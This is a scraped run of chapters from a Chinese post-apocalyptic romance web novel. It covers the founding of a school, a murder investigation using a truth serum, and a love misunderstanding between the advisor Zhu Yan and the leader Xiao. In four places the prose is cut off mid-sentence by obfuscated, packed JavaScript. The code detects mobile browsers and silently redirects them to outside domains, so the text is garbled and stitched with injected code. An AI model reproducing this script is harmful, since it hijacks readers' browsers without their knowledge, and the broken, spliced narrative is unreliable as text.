林筝写字的速度渐渐慢了下来，显然是把这句话听进去了，却没有将心中想法分享给笛一，只是抬起头，对他笑了笑：“确实，现在基地的粮食储备增加，互助会应该也很久没发粮食了，不如我们把重心放在解救这些人上……” 他说着，双眼突然一亮：“或许我们还可以协助首领府，给不会认字的低阶提供帮助，帮他们知道新法的内容！” “协助首领府……” 笛一听着林筝的打算，只感觉自己渐渐理解刘老说的“挑拨低阶关系”是什么意思，不再有心理负担，像刚刚糊弄刘老一样，含糊地答应着林筝的提议，最后，还不忘加强重点：“我这就去找会员了解都有谁的亲人被迫做了高阶的情人，早一点救出来，他们就能少一点痛苦。” 21. 文明火种-21 由于高阶强者们七八个小时就要去处理本职工作，大会连续开了五天。 会议的内容对高阶来说，听起来好像多了诸多限制，但新联盟不追究过去的罪行，他们住在军队，本就没有什么犯罪的机会，四舍五入等于没变化，但对于低阶，简直是天翻地覆。 一轮一轮的考核选拔，让越来越多的人进入管理层，对S市的开发让人口密集的基地处于用人短缺，很多人一天可以接到两三个任务，收入大幅提升，就连被高阶抢走的低阶美人，也可以按照自己的意愿，选择要不要回家。 干活的是枭和他的手下们，低阶们最感谢的还是带来这一切的祝顾问。 不知不觉中，祝晏的神圣值因为这些变化，已经涨到了90。 但因为开会那天祝晏的反问，系统一直提心吊胆，生怕祝晏搞个大的，就连看到他跟枭嘴对嘴“治病”，看到祝晏以“要亲自教学”为由，偷懒去学校教书，都没有嘲讽。 新学校的地址在S市，按照新法规定，未满十六岁的孩子，都必须到学校去上学，祝晏任校长，但所有组建学校的杂事，都被安排给了笛一。 笛一能力有限 ，还带上了两个互助会的高层，带着一群低阶收拾好场所，重启印刷厂把课本印好，每个学年需要的认字老师和网课找好，大孩子的家长安抚好，基地的孤儿们也接过来了…… 忙到最后，他猛然发现，互助会的成员已经被分散到了基地两端，很难联系，原本只需要养大，就能听从他们的高阶孤儿也都成了祝晏的支持者。 开学仪式上，忙到焦头烂额的笛一看到祝晏神采奕奕地给学校题字，满心都是在控诉不公平。 就算祝晏的计划具体到不用他动脑，只执行就好，这些活也是他做的！ 正生着气，他身边的新老师推了推他：“副校长，祝校长在叫你。” 笛一抬头，祝晏站在红绸的后面，朝笛一招手。 开学剪彩是将军们的主意，他们最近在看创业剧，从祝晏搬到S市起，就一直坚持让学校办剪彩。 祝晏也同意了他们的突发奇想，还在剪彩的时候，把枭和笛一拉上来了。 笛一走到祝晏旁边，一下子面对看台下一排高阶强者和满操场的学生，瞬间忘了刚才在想什么。 他从来都没想过，自己竟然能站在高处俯视高阶强者。 不，现在应该叫将军了。 另一边的枭微微扬眉，大意是问他为什么把笛一也拉上来。 祝晏也看了回去，轻轻点头：你别管。 笛一在他们旁边，只能看到他们礼貌地互相打招呼，很快又将注意力放在下面的高阶强者身上。 他还是第一次这样俯视高阶。 而这些人竟然也没有因此不满，带着笑意看着看台上的他们。 “想什么呢？” 祝晏把手放到他面前挥了挥，叫他回神：“这段时间辛苦你了。” 笛一连忙摇头，按照重岩的指示，跟着祝晏和枭剪断红绸，一起被摄像师记录在照片里。 摄影师是特殊异能的低阶，没有借助光系异能，完完全全使用的是前文明的设备——一个迷你拍立得。 按快门的声音勾起一部分人对机械怪物的心理阴影，但整个基地最强的强者都在这里，围观的人们只是被吓了一下，没有引起骚乱。 照片一会儿就显影，三人的背后立着祝晏题过字的大石头。 “求知，传承，创造” 很直白的三个词，即使没有深入学过任何知识，也可以看懂。 他忍不住从鼻腔中“哼”了一声，还以为传说中的祝顾问有多厉害，看他的水平，说不定还不如他爷爷呢。 有高阶强者们在，题字特别简单，祝晏只需要拿起一支软绵绵的毛毛笔，沾水写在大石头上，重岩就能用异能抠出文字的形状，接着，水系异能的将军把带有颜色的液体涂满文字，阿金还用金子给它镶了个边。 剪彩结束，随着将军们的掌声，学校学生，连带着数不清来看热闹的异能者都跟着鼓起了掌。 【神圣值：91】 系统总觉得现在是风暴前的平静，听到神圣值上涨，反而更加担心。 学生们被组织进入新班级，围观的人们见高阶围上祝顾问，都默契地向远处离开。 祝晏正在反驳枭：“S市离A省基地太远，我住在学生宿舍就可以。” “不行。” 男人干脆否决：“你回首领府休息。” “每天都这样来回，是对资源的浪费，首领……” “资源？” 枭抬手，把刚围过来的将军们连同笛一一起赶走，握住祝晏的袖子，把他拉到一边：“你还想坐车？不怕晕车了？” 祝晏不答，眨了下眼睛。 枭：“你分明有我能用。” 祝晏：“怎么能让首领麻烦……” “祝晏。” 男人的声音稍稍扬高，引得众人转头，下一秒，空气变形，枭的异能如同“金刚罩”，把声音挡在里面：“以我们的关系，送你一回而已，为什么跟我这么客气。” 什么关系？已经能亲吻的关系。 在前文明的偶像剧里，只有约定终生，一辈子会在一起的恋人才会亲吻。 枭说的没有一点心虚。 如同他期待的那样，祝晏同样没有否认。 他像往常一般轻轻从鼻腔呼出一口气，半是妥协半是无奈地点头感谢：“那就……” 枭扬眉。 祝晏把后面的话咽了回去，将头转向一边：“刚才拍的照片我会让印刷厂放大，挂在学校门口，你常来看看也好，孩子是基地的未来，你的态度会影响基地的其他人。” 男人看着他泛着浅红的耳朵，满意地点了点头：“祝先生说的有道理，我每天晚上来接……看孩子。” 接着，收回异能，两人各自转身，一副不欢而散的样子。 排除首领。 彻底对枭失望的笛一在心里把枭从交给刘老的名单上划掉。 枭简直就是没有感情的木头，大概这辈子都不会有情人了。 他把目标移到去跟祝晏说话的银雪和成熠身上，没有注意到，林筝和重岩交换视线的瞬间。 * 学校建成对每一天都在变化的人类基地来说只是一件小事，研究所和学校带动了不少非网络机械的重新启用，新法和新规的执行也在渐渐完善，除了少部分习惯了之前生活的高阶，低阶们都工作得充满希望，热火朝天。 如果说有人不开心，那应该就是因互助会式微而烦恼的前文明老人和焦虑的系统。 但时间一点点过去，研究所都把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515678|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监察队建起来了，系统不详的预感还是没有应验。 越是没有变化，它就越紧张，以致于当神圣值下降的声音响起时，它先松了口气。 【神圣值：88】 “看来没有降太多。” 它在祝晏的脑海里提示：“拟态载体还在首领府，我看到枭带着人出去了，他今天应该不能来接你。” 果然，这次来接人的是重岩。 他赶到时，祝晏正在讲课。 祝晏是前文明人，出了名的要每天睡觉，身体还弱，因此并没有固定的课程，只是偶尔给看视频的学生解惑，或者兴致来了随便选一节，暂时代替网课，做学生的临时老师。 “……拔一毛而利天下，不为也。是否取一毛救天下，本质是古人对于个人利益与群体利益的探讨，孟孙阳的意思是，让渡一根毛发，对肌肤来说是很小一部分，但没有万千毫毛，就不会有肌肤的存在，没有肌肤，就不能组成完整的人。 每一个人的生命和感受都是宝贵的，为群体意志剥夺个人的利益并不可取。” “但是您来基地那天也说过笛老值得敬佩呢，我们还学了舍生取义。” 一个不算年轻的声音问道：“祝校长，那到底要不要为了所有人牺牲？” “这是你们自己要思考的问题。” 祝晏看到外面的重岩，放下了书：“古人也说过，达则兼济天下，穷则独善其身，我能做的，只是把发生过的事，前人说的话，客观地转述给你们，至于如何选择，需要你们自己思考，决定。” 他把教室留给学生，自己走了出来。 重岩脸上的表情不算严肃：“有很多大人来听课吗？ ” “非常多。” 祝晏给他指走廊的教室：“一开始只是来认字，后来人越来越多，我也给他们安排了教室。” 重岩突然吐出一个词：“有教无类。” 收获了祝晏一个欣赏的眼神。 他学习很快，也越来越像前人类，跟祝晏寒暄过后，才说明来意。 “首领今天有事，让我来接你和笛一。” 恰好，笛一也听到了消息，跟着通知他的老师一起赶过来。 重岩：“杀害笛老的凶手，找到了。” 笛老，那个在基地威望颇高的前文明老人。 如果不是笛一每天在面前晃，祝晏都要忘了还有这么个人。 一行人赶到笛老住宅时，现场只有枭和一个被捆绑着的昏迷低阶。 空气中有淡淡的血腥味，地上也有浅淡的血迹，应该是被处理过了。 枭坐在一层，压低的眉眼中不知在想什么。 见到祝晏，他的表情缓和了一点。 “祝先生。” 男人拿出一个红色封皮的小本：“基地开始施行婚姻法了，你要不要……” “我听说找到杀害我爷爷的凶手了！” 笛一等不及他们的寒暄，着急道：“就是这个人？” “这个不重要。” 在笛一愤怒的视线中，枭默默发动异能，昏迷在地的低阶猛地坐起，却不敢再动，满眼恐惧地蜷缩在原地，不停地颤抖。 枭把红色小本塞回口袋：“重要的是，我从这些人口中知道了一个消息。” “笛老不是前文明老人，他来自涅槃。” 22. 文明火种-22 “笛老，来自涅槃。” 笛一瞪大了眼睛：“什么？” 系统：什么？ 祝晏问系统：“你不知道？” 系统懵了：“我不知道！剧情是主角视角的，原著里主角受只知道涅槃没有被打开过，这好像是隐藏剧情！” 枭盯着祝晏：“你好像不好奇？” “涅槃关闭时，AI已经开始对人类进行信息封锁和文明毁灭，根据你们的描述，笛老知道的内容太多了。” 祝晏推了推眼镜：“我能猜到一点，但……这为什么是他被杀害的理由？ ” “还能是因为什么，当然是因为他要放出你们这群守在地下的老鼠！” 被捆绑的低阶见到祝晏，竟克服了对枭的恐惧，大声道：“你以为五十年前的人都死了吗？竟然敢说涅槃从没有开启过，五十年前，涅槃就打开过一次，是你们害怕AI，害怕变异怪物，非要重新关闭涅槃，那你们就死在地下好了，凭什么以救世主的姿态出来，你怎么让他们跟你合作的，是不是用身……啊！” 枭再一次用异能把他打晕，手中把玩着长刀，看向祝晏：“就是这样。” “涅槃里装的是很重要的文物和资料，关闭又怎么了。” 系统只觉那人的控诉很是莫名：“宿主，这件事很有可能是假的，他们这么说，是为了攻击你。” 祝晏：“你不是能问原主本人么，猜什么呢？” 系统反应过来：“对哦！你等着。” 这次系统吸取了上次的教训，调高了时间比例，只消失一瞬就回来了：“问到了，五十年前涅槃发生过一场叛逃，逃出去的人大多数死了，只有几个人回来，长辈一直讳莫如深，所以原主也不太清楚。” “看来笛老真的有可能是涅槃的人，” 系统工作出了问题，心虚之下，没有幸灾乐祸：“会不会耽误任务完成？你需要一百的神圣值呢。” “不。” 祝晏望进枭那双带着狐疑和微不可查的怒意的眼睛：“之前的确很难完成，但现在，任务反而简单了。” 祝晏没有给系统解惑的兴致，他对枭道：“首领，把他叫醒。” 【神圣值：85】 系统提醒：“他们在外面好像有外应。” 没等祝晏开口，阿金就带着来通知消息的林筝，满身狼狈地冲进了笛老的住宅：“首领，外面来了很多低阶，在反对祝先生。” 枭看了一眼祝晏，又看了看眼神涣散，已经失去思考能力的笛一，让重岩和林筝留在这里保护祝晏的安全。 被叫醒的低阶缓了半天，见枭离开，气焰更加嚣张，好像不怕死，继续控诉着涅槃的人有多贪生怕死，有多卑鄙，意识到祝晏并不想反驳或是回答他后，又把矛头对准重岩和林筝：“你们这群傻子，你们把基地交给他，是想让基地的所有人都像他们那样自私吗？他……” 嘴里突然被塞了一大块石头，重岩在他惊怒的呜咽揉了揉太阳穴：“安静了。” 他看向捧着工具箱的林筝和正在里面翻出一试管药剂，正用针管吸取的祝晏，好奇道：“这是什么？” 祝晏：“吐-真剂。” 直白浅显的名字。 被捆绑的低阶见状，开始不停地挣扎，用头狠狠撞墙，但有重岩的岩系异能牢牢禁锢，还有林筝的治疗异能不断修复，他跑不开，也无法自杀。 被祝晏推了一整管药剂。 没过几秒，众人便惊奇地发现，那人目光涣散，身体放松，仿佛变了一个人，重岩把他嘴里的石头取下，他也没有再发出刺耳的噪音。 祝晏搬过枭坐过的椅子，面对着他：“五年前，涅槃的确开启过，有几十个人叛逃离开，但据我所知，他们没有找到人类聚集地，发现AI还存活后，他们选择去消灭AI，但是失败了，最后，只回去了两个人。” 众人听得满脸震惊：涅槃的人竟然在五十年前试图消灭AI！他们没有异能，五十年前，光变异怪物就能把他们团灭了。 祝晏：“笛权和你的长辈，是怎么脱离队伍，来到人类基地的？” 被捆低阶晕晕乎乎开口：“他们被变异猴抓走，后来被高阶异能者救了。” 竟然真的能说话！ 哪怕是再特殊的异能，也做不到让人说实话。 林筝几乎每天跟着祝晏，怎样回忆也想不出他到底是什么时候制作的，而一旁的笛一稍稍握紧了拳头。 他没想到祝晏手里还有这种闻所未闻的东西。 前文明，恐怖如斯。 在场的高阶看着被捆低阶的状态，都有些说不上来的感觉，仿佛有什么事情即将脱离掌控。 祝晏：“为什么要杀笛权？” 被捆低阶：“为了让你被基地排斥，基地首领被笛权救过命，最好让他知道笛权因你而死，杀了你。” 祝晏：“为什么阻止我延续文明，他忘了涅槃的使命吗？” 被捆低阶自己应该也不太清楚，回答得断断续续：“使命……人类，无知……权力……恢复旧世界……” 祝晏蹙眉：“他不同意涅槃的只筛选不干预计划，想要完全复刻前文明，是吗？” 对方含含糊糊，答不出来。 祝晏换了个问题：“那个人是谁？” 对方：“是……” “小心！” “祝先生！” 一道坚固的岩墙把爆炸隔绝在外，祝晏身份卡上的能量罩都没有被触发。 他从岩墙后绕出来，只见除了他，屋里其他人脸上身上都沾染着血液和肉块。 重岩和林筝还好，笛一不知是被吓到还是被恶心到了，冲进卫生间开始狂吐。 被捆绑的低阶被炸得到处都是，祝晏换了双乳胶手套，翻出镊子，在那团稀烂的血肉中翻找。 林筝忍着恶心递上托盘，看祝晏挑出了几块焦黑卷曲的金属碎屑。 重岩的声音沉重了几分：“芯片，是AI。” 屋里众人还没有从震惊中走出来，外面的声音就被放大传了进来。 不知道那些抗议的低阶从哪得到的消息，来得很快，几乎把这里包围。 枭守在门口，一直保持冷静，安静地听着屋里的对话，没有发起攻击。 随着低阶们一拥而上，几个得到消息的将军也赶来了，他们有的听见了重岩的话，对外面的低阶更加不耐烦。 祝晏在门里听了一会儿，整理了一下让他神圣值下降的原因。 1、有人把被捆低阶的话传了出去，祝晏成了“躲避怪物的懦夫”，没有资格在基地办学校。 2、认为学校教的东西与战斗和异能无关，反对学校强制未成年入学，反对学校让成年人不工作去听课。 3、认为学校使用机械过多，视频课对网络和信息也是积极态度，有通敌嫌疑。 总而言之，就是不想学习。 “不只是学校，我们就连工作也要学习。” 一个在研究院试验田工作的低阶声泪俱下：“学种植手法，学养护土壤就算了，还要学气候变化，学生物，学扦插嫁接……累都要累死了！” 不过人群中，也有不同的声音，被挤在后面的人扯着嗓子骂：“你不愿学可以别来！你知道多少人想种试验田吗！” 你来我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很多人现在才开始后怕，他们真是疯了，过了几天好日子，就忘了高阶与低阶间天堑般的差距，而枭又是能一个人单挑数十高阶的怪物。 他们怎么敢的，竟然在首领面前抗议！ 屋子里，林筝看着无动于衷的祝晏，一点也不想问他为什么不拦着枭，甚至想冲出去一起揍那群忘恩负义的人。 他只是很惶恐，害怕祝先生因此对低阶失望。 “联盟新法规定，任何人不能抢夺公民的身份卡，包括威胁、欺骗等手段。” 苍老的声音响起，打破了此刻的僵持，刘老被身边的手下护着，拨开地上哀嚎打滚的低阶们，走到人群中心. “高阶官员无故攻击低阶，至少要罢免停职，首领，联盟新法是祝顾问提出，你主导制定的，你公然违法，是想要现在废除新法，还是要像前首领那样，自封贵族，高人一等，让法律只对平民生效？” 审判并没有停止，他越过枭，看向笛老住宅的方向，抬高了音量。 “祝顾问，新法是你提出的，你是人类最后的希望，为什么不出来制止首领攻击平民？” “还是说，流言是真的，涅槃保护的根本不是什么人类希望，而是灾难来临时，抛弃所有人躲进地下的特权？” 不愧是从前首领时期就稳坐高位的老人，出手就是命门。 几句话比上千个闹事的低阶还好用。 祝晏耳边响起系统播报：【神圣值：60】 23. 文明火种-23 “根据沿用的联盟基本法，超过五百人的集会需要向街区官报备，首领有资格制止非法-集会，疏通人群。” 祝晏从笛老住宅走出来，把装着托盘的芯片交给枭。 刘老见祝晏安然无恙地出来，皱紧眉头，刚要说什么，就听祝晏继续道：“另外，战争临时法规定，对于AI叛徒，首领有紧急处决权，这也是算基地的代理人投票通过的。” “刘老当时在场，怎么会觉得首领违法？” 大会开了好几天，大多数人连法条内容都搞不懂，更别提记下没有经过投票，直接沿用的前联盟法。 刘老身后的手下捧着厚厚一本法律条文，费了大半天，才在犄角旮旯找出祝晏说的两条。 首领竟然被祝先生保护了。 瘦削清冷的身影站在男人身前，遮都遮不住，却仿佛几米高的巨人，三言两语就救了百口莫辩的高阶强者们。 心情大好的男人沐浴着身边将军们嫉妒的目光，悠闲抱臂，等在一旁。 人群听到这句话，刚刚战胜勇气对枭积蓄的些许不满立刻消失。 曾经基地的高阶强者被多看一眼都有可能暴起杀人，枭的处理已经很温柔了。 何况人家还合法呢？ 人群外围，只是被牵连受伤的低阶本就没有什么意见，想要离开，又因为剑拔弩张的现场过于安静，不敢动弹，互相搀扶着起来，尴尬地站在原地。 刘老苍老混浊的双眼盯着祝晏，继续咄咄逼人：“祝顾问只顾着为首领开脱，还没有回答我的问题。” 一旁沉默的男人突然开：“涅槃开启过的事，我们早就知道。” 早就知道？ 接着，枭把手里的芯片残渣扔到刘老脚下：“你觉得躲在地下是好事？” 重岩也从屋里走出：“五十年前的确有人受不住暗无天日的生活，离开涅槃，他们有的回去，有的进入基地，有的……成了AI叛徒。” 枭冷道：“这些需要给你们一一解释？” 【神圣值：70】 祝晏回头，与男人对视。 枭朝他微微挑眉，想到自己正跟祝晏互相解释，相互保护，只觉得，世界上怎么会有这么般配的两个人。 仿佛与祝晏心意相通，两人短暂交换视线，又各自移开，让男人更加控制不住笑意，低头咳了咳，同时握住了口袋里的红色小本。 后赶到的将军们面面相觑。 涅槃早就开启过？他们早就知道吗？ 虽然不清楚，但既然是为了祝先生，那就知道吧…… 得到了强者们的默认，围观的人们慢慢意识到枭扔出的东西是AI叛徒体内的芯片，纷纷后退躲避。 刘老倒是镇定，脸上的表情没有一丝破绽。 “我们反而没想到，AI有这么怕祝先生，当初就发动无数的机械怪物攻击涅槃，如今宁愿基地的叛徒，也要给他泼脏水。” 重岩看向刘老：“您觉得这是为什么？” 【神圣值：80】 此刻，人群审视的目光又移到了刘老身上。 互助会在低阶中风评很好，大多数人都不想怀疑刘老，但看现在的形式，刘老在这个时候出现，仿佛和AI脱不开关系。 而刘老也深谙不能陷入自证陷阱的道理，岔开话题道：“只是路过问问而已，我这次来，是有另一件事，我要申请内部弹劾。” 新法规定，高层领导间可以提交报告发出内部弹劾，由战斗力最强的几人——也就是第一小队的成员们，共同审判。 但没有法律规定，弹劾内容不可以公开给基地民众。 刘老微微扬着下巴，声音洪亮：“我要弹劾第一小队某位成员，对首领顾问祝晏施行性-侵犯！” 在诸多传言谣言中，阴谋_论和桃色-交易总是流传最广，最让人津津乐道的。 无论事实如何，刘老这样喊出来，祝晏算是摆脱不了这个话题。 再结合祝晏和第一小队关系不错，从未表现过不满和反抗，很难想象其他人脑子里会想什么。 祝晏原本慢慢回升的神圣值涨涨落落，最终停在了85。 事关高层，低阶们很快就散去了，领头闹事的都被阿金走调查。 一些不明真相的高阶互相看着，好似在找那个欺负祝晏的人。 刘老发出一声低笑。 他和笛一在长久的观察后，确认每一个高阶强者都对祝晏有着特殊的信任和好感，实在难以辨别，那索性就把这件事捅出来，让这群人自己来找。 无论祝晏是不是被逼迫，都可以让这群对祝晏有意思的高阶嫉妒甚至内斗。 计谋也确实奏效，一时间，除了少数清楚或是猜出真相的，其他人都默不作声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515680|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，互相猜忌，心里思索着如果真是朝夕相处的队友强迫了祝晏，他们要怎么做到对队友出手。 “看来结果不太方便让我知道？” 刘老似乎预料到现场会有一场大战，带着还没有缓过神的笛一，施施然离开。 留下还在沉默对峙的众人。 半晌，成熠最先忍不住，对着银雪：“是你吗？” 银雪暴躁：“你是不是有病？我早就有情人了。” 说完，眼睛不自觉地朝首领看了一眼。 她看完，重岩也看，林筝也在沉默中将头转向枭。 其他人，包括成熠，这次都懂了。 他们悄悄挪动身体，站到了祝晏身边，似乎如果事情是真的，他们真的会对他出手。 即使他们打不过。 枭扬眉：“想跟我练练？” 重岩沉声：“首领，这不是能开玩笑的事。” 枭望向祝晏。 哪怕他已经完全确定，祝晏和他只差一个结婚证，但毕竟也是还没领证的关系。 他想要尊重祝晏的想法。 ……又或许，是太享受刚才被祝晏保护的感觉，期待着这次，也由祝晏为他摆脱冤屈。 祝晏不负他所望，轻轻叹了口气：“首领没有强迫我。” 他脱下乳胶手套，在几人的眼皮底下露出昨天晚上还被枭握出的红色指印，换回了自己的白色手套。 “林筝和重岩都学了心理医学，你们应该知道渴肤症吧？” 林筝还以为祝晏又要含糊过去，满脸的痛心，闻言一愣：“那个……肌肤饥渴症？” “首领算是我的……医生。” “我们之间没有其他关系，是他在单方面牺牲，帮助我。” 小队其他人：？ 手已经握上口袋里结婚证的枭：……？ 没有其他……关系？单方面……帮助？ 他捏紧手中化为纸团的结婚证，隐隐有种不好的预感。 看到所有队员站到对立面时都未生出的恐惧悄悄蔓延心头，满眼满脑都是祝晏坦然的，毫无扭捏尴尬的神情。 他曾无比喜爱甚至庆幸祝晏的直白，让他们的“感情发展”可以顺利得像白水一般平淡又自然，不用多说，就按照偶像剧那样逐步进展。 可如果……祝晏的直白，是因为从未动心呢？ 24. 文明火种-24 现场的人都在听林筝解释渴肤症，除了祝晏和系统，没有人注意到枭那几乎将人穿透的视线。 母鸡留在首领府，看到枭偷偷制作结婚证的系统啧啧：“反派看起来想杀了你。” 祝晏就像第一次听见他是反派那样：“就凭他？” 另一边，林筝的资料比枭当初看的那本更全面，是一位前文明医科教授的讲课视频，详细介绍了肌肤饥渴症的成因和治疗方法。 众人在震惊还有这种病症之余，又忍不住心惊。 难怪五十年前会有人逃出涅槃。 年复一年地被关在暗无天日的地下，这和前文明的监狱有什么区别？ 前文明甚至还有刑期结束的一天，涅槃的人却要永远地等待大门从外部打开，仅仅为了坚持他们的使命。 分明，那些逃出去的人才是懦夫！ 他们看了许多影视剧，有的还会去学校蹭课，已经不再是刚到涅槃时脑袋里只有战斗的时期，更深入了解祝晏的经历，就会忍不住更加佩服他的恒心和毅力。 他们好像只将他看作能改变基地未来的宝藏，却忘了，祝晏也是人类，他也会孤单。 当初涅槃开启不久，是首领先找祝先生谈成合作。 把他看作亲密的人，让他帮忙治疗，好像也不是什么难以接受的事。 【神圣值：87】 小队成员都松了一口气。 幸好，不用跟首领打架了。 然而等他们看向枭，却发现他看起来没有想象中沉冤得雪的快乐，仍旧是那副冷漠模样。 “首领越来越深不可测了，” 成熠跟银雪感叹：“很有前文明首领的感觉，祝先生肯定更喜欢。” 银雪被枭身旁的低气压憋得喘不上气，看了看毫无所觉的祝晏，近乎绝望地闭了闭眼睛，握住了一旁同为女性的雷系强者的手：“姐妹，你能懂我吗？ ” 对方眼泪汪汪地点头：“祝先生太可怜了，我们也要向首领学习，不让他费心。” 银雪：…… 她左右环视，和重岩对上了视线，在他脸上看到了同样的答案。 还不等欣慰，就见对方转向祝晏：“必须是首领吗？” 林筝原本还沉着头，不知在想什么，闻言立即来了精神：“是啊，祝先生，我，我也可以的！” 祝晏看着他，半晌，脱下一只手的手套。 银雪：！！！ 她忍不住去看枭的脸色，见男人脸黑的都能去当煤烧了，打了个寒战，连忙转开头，又看到了重岩同样难看的脸色。 林筝是治疗系异能，也不知道能不能在首领手下撑过半秒，让祝先生有机会开口救他。 她紧张地看祝晏的手落下——却只是落在了林筝的头发上。 【神圣值：88】 祝晏小心着，揉了揉他的头发：“谢谢，但多亏了首领，我差不多要痊愈了。” 一些不明就里的强者佩服连带感激地望向枭。 枭：…… 他静静看着成熠大吵大闹，也想被祝晏摸头发，然后这群在新联盟军队德高望重的强者就排着队弯腰到祝晏身边，让他像幼稚园老师那样，一个个摸过去。 直到他们都闹够了，枭才淡淡开口：“你们先回去，我还有事要跟祝顾问说。” 这下，就连成熠都感觉到不对劲了。 他小声跟旁边人道：“首领不好意思了，他肯定也想摸头。” 对方没有说话，反而是重岩嗤笑一声。 成熠不满：“你笑什么？” 重岩只是笑，一手搭上他的肩膀，笑得成熠更加莫名，挣开他的手，提防着随众人一起离开。 屋子里现在只剩两个人和一滩血肉。 祝晏轻轻皱了下鼻子：“首领有什么事，要不我们回首领府说？” 男人深深地看了他几秒才开口：“我怎么不知道祝先生的病快好了。” “我确实说了假话。” 祝晏推了推眼镜：“我的身份不适合让这么多人为我治疗，如果泄露消息，会引起不必要的误会。” “就是为了这个？” 看不见的异能从背后袭击膝盖，祝晏不小心跌坐在上面，被送到枭面前。 男人站在他两腿间，自上而下俯视着他：“祝先生……这里没有其他人，你再说一遍，我们什么关系？” “合作伙伴。” 祝晏歪了歪头：“首领不高兴？我说你是医生，只是为了不让他们误会。” “那除了合作伙伴呢，” 枭看起来想回到遇到祝晏之前到冷漠，但声音还是不由自主地急了起来：“你分明说过，我在你眼里是最好看的。” “这是客观事实，我确实很欣赏你的外貌。” 祝晏似乎在为他两个话题的毫无逻辑苦恼：“换做任何一个前人类，都会这么说，但……这和合作伙伴有什么关系？” 当然有关系！ 你像求爱一样夸奖一个强者，跟他拥抱接吻，如今却说只是合作伙伴？ 男人牙根发出野兽嚼碎骨头版的“咔咔”声，到底顾及身份，没有像被高阶抛弃的低阶情人那样哭喊质问，只是一瞬间卸去异能。 又在眼看着祝晏摔进地上的鲜血前把他接住，扶正，潇洒地越过祝晏，很有气势地快步离去。 没等屋里的祝晏动一动，男人又很有气势地开门回来了。 “那你为什么要亲我！” 枭质问结束，发现了自己话中的漏洞，又重新纠正道：“为什么让我亲你？你不知道只有恋人之间才能亲吻吗？” 祝晏眨了下眼睛，看起来迷惑且无辜。 只是这平时会将男人可爱到心脏狂跳的表情，看在眼里却异常可恶：“但首领是异能者……我听说异能者不在乎这个，只当是治疗的一部分……” “呵，” 男人嘴角挂上危险的冷笑：“不愧是永远正确的祝先生，夸我的时候用前文明的方式，跟我接吻就想起我是异能者了？” 说完，他转身离开，“咣”的一声，再次将门摔在身后。 没过几秒，“咚”的一声，大门再次被踹开。 “我看过你的那些书，祝先生！” 枭咬牙切齿：“那里可没提过接吻治疗法。” 祝晏脸上终于出现了几分心虚，他又推了下眼镜缓解尴尬，收手的同时，也挂了下自己的鼻头。 “……我承认。” 在男人即将升出些许希冀的视线中，祝晏轻叹了口气：“治病只是其中一部分原因，我……毕竟也是普通人类，对一切亲密行为都怀有好奇，接吻时，大脑释放的多巴胺水平很高，出于本能……” “我明白了，” 男人打断他，再次冷笑：“你只是喜欢接吻，这个人是不是我，跟你什么关系都无所谓？” 祝晏摇头：“不是。” “那是什么？” 突然，男人想起来谈成合作那天，祝晏提过的“洁癖”。 随后不可置信道：“因为我干净？” 祝晏推眼镜：“还有……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14515681|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >枭：“好看？” 祝晏：“也有这个原因……” 枭：“还有？” 祝晏：“首领说过，除你之外，异能者会有异能失控的情况，我现在还不能死。” 枭像遭受了重大打击，向后退了一步。 异能者没有“谁先动心谁就输了”的说法，但换成任何一个人类，在发现自己满心恋爱结婚时，对方只是满意他的身体和工具性，也会觉得屈辱。 “你这个——” 刚看了成语大全没多久，一时搜索不出想表达的词，枭抬手指着祝晏：“没有感情的人。” 半晌，甩手转身。 “咣！” …… “咚！” “祝晏！你……” “首领。” 祝晏开口，再次折返的基地最高强者就停下了控诉，黑色的眸子泛着因愤怒或是羞恼带来的水汽，深深地望着他。 祝晏：“你是对我生出恋人的感情了吗？” 这该死的，毫不留情的，可恶的，可爱的直白。 枭上次这么讨厌祝晏的直白，还是他把所有人关在罩子里，说着“打不过就坐下”。 把一个强者所有的自尊，自信，都踩在脚下。 这是报复吗？报复他们对前文明的漠视？报复他利用他？ 还是说，祝晏这种成长在冰冷地堡，永远情绪稳定，泰然自若的聪明人，根本没有感情？ 明明偶像剧里，患有情感缺失症的男主都为女主折腰了。 因为他不是女人？因为他没有文化？因为他不善良？因为他杀过人？ 没有人有过这种想象，高阶异能者会因为得不到一个人的青睐怀疑自己。 包括枭。 